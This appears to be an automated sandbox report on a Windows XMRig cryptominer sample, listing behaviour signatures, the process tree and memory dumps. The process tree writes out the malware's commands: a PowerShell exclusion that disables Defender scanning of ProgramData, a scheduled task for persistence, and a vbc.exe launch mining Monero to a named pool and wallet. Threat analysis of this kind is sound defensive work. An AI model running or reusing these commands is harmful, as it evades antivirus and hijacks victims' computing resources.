Analysis
- max time kernel
94s - max time network
132s - platform
windows10-2004_x64 - resource
win10v2004-20220901-en - resource tags
- submitted
18/11/2022, 09:25
General
- Target file.exe
- Size 1.0MB
- Sample221118-ldl9ssch8s
- SHA256 edb7491e35601c51676c772425cf762ff753b4ecd5ec939f3a4edc3f3e7cd2df
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Executes dropped EXE 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 28 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpBE44.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
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C:\ProgramData\driver\YVL.exe"C:\ProgramData\driver\YVL.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "YVL" /tr "C:\ProgramData\driver\YVL.exe"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "YVL" /tr "C:\ProgramData\driver\YVL.exe"5⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
YVL.exe
YVL.exe
powershell.exe.log
StartupProfileData-NonInteractive
tmpBE44.tmp.bat
memory/892-178-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp
memory/2320-155-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp
memory/2320-154-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp
memory/2320-149-0x000001BFF1E50000-0x000001BFF1E72000-memory.dmp
memory/2364-182-0x00007FFEB2660000-0x00007FFEB26CB000-memory.dmp
memory/2364-172-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp
memory/2364-194-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp
memory/2364-193-0x0000000000D40000-0x0000000000EC8000-memory.dmp
memory/2364-185-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp
memory/2364-184-0x0000000000D40000-0x0000000000EC8000-memory.dmp
memory/2364-183-0x00007FFEAFCA0000-0x00007FFEAFCDB000-memory.dmp
memory/2364-181-0x00007FFE963D0000-0x00007FFE964D2000-memory.dmp
memory/2364-180-0x00007FFE95B50000-0x00007FFE95B85000-memory.dmp
memory/2364-179-0x00007FFEB0E00000-0x00007FFEB0E27000-memory.dmp
memory/2364-169-0x0000000000CF0000-0x0000000000D31000-memory.dmp
memory/2364-171-0x00007FFE92550000-0x00007FFE9269E000-memory.dmp
memory/2364-170-0x0000000000D40000-0x0000000000EC8000-memory.dmp
memory/2364-167-0x0000000000D40000-0x0000000000EC8000-memory.dmp
memory/2364-160-0x00007FFE95BB0000-0x00007FFE95C5A000-memory.dmp
memory/2364-161-0x00007FFEB12A0000-0x00007FFEB133E000-memory.dmp
memory/2364-162-0x00007FFEAE710000-0x00007FFEAE722000-memory.dmp
memory/2364-163-0x00007FFE95980000-0x00007FFE95A3D000-memory.dmp
memory/2364-164-0x00007FFEB2E40000-0x00007FFEB2FE1000-memory.dmp
memory/2364-165-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp
memory/2364-166-0x00007FFEB1620000-0x00007FFEB164B000-memory.dmp
memory/2364-168-0x0000000000D40000-0x0000000000EC8000-memory.dmp
memory/3224-144-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp
memory/3224-134-0x00007FFEB12A0000-0x00007FFEB133E000-memory.dmp
memory/3224-142-0x0000000000C20000-0x0000000000DA8000-memory.dmp
memory/3224-145-0x000000001E420000-0x000000001E948000-memory.dmp
memory/3224-137-0x00007FFEB2E40000-0x00007FFEB2FE1000-memory.dmp
memory/3224-136-0x00007FFE95980000-0x00007FFE95A3D000-memory.dmp
memory/3224-141-0x00007FFEB1620000-0x00007FFEB164B000-memory.dmp
memory/3224-135-0x00007FFEAE710000-0x00007FFEAE722000-memory.dmp
memory/3224-139-0x0000000000C20000-0x0000000000DA8000-memory.dmp
memory/3224-148-0x0000000000C20000-0x0000000000DA8000-memory.dmp
memory/3224-140-0x0000000001400000-0x0000000001441000-memory.dmp
memory/3224-138-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp
memory/3224-151-0x0000000001400000-0x0000000001441000-memory.dmp
memory/3224-133-0x00007FFE95BB0000-0x00007FFE95C5A000-memory.dmp
memory/3224-150-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp
memory/3224-143-0x00007FFE952F0000-0x00007FFE9543E000-memory.dmp
memory/3884-192-0x00000116DF650000-0x00000116DF690000-memory.dmp
memory/3884-195-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/3884-188-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/3884-189-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/3884-190-0x00000116DF500000-0x00000116DF520000-memory.dmp
memory/3884-191-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/3884-199-0x00000116DF6B0000-0x00000116DF6D0000-memory.dmp
memory/3884-198-0x00000116DF690000-0x00000116DF6B0000-memory.dmp
memory/3884-196-0x00000116DF690000-0x00000116DF6B0000-memory.dmp
memory/3884-186-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/3884-197-0x00000116DF6B0000-0x00000116DF6D0000-memory.dmp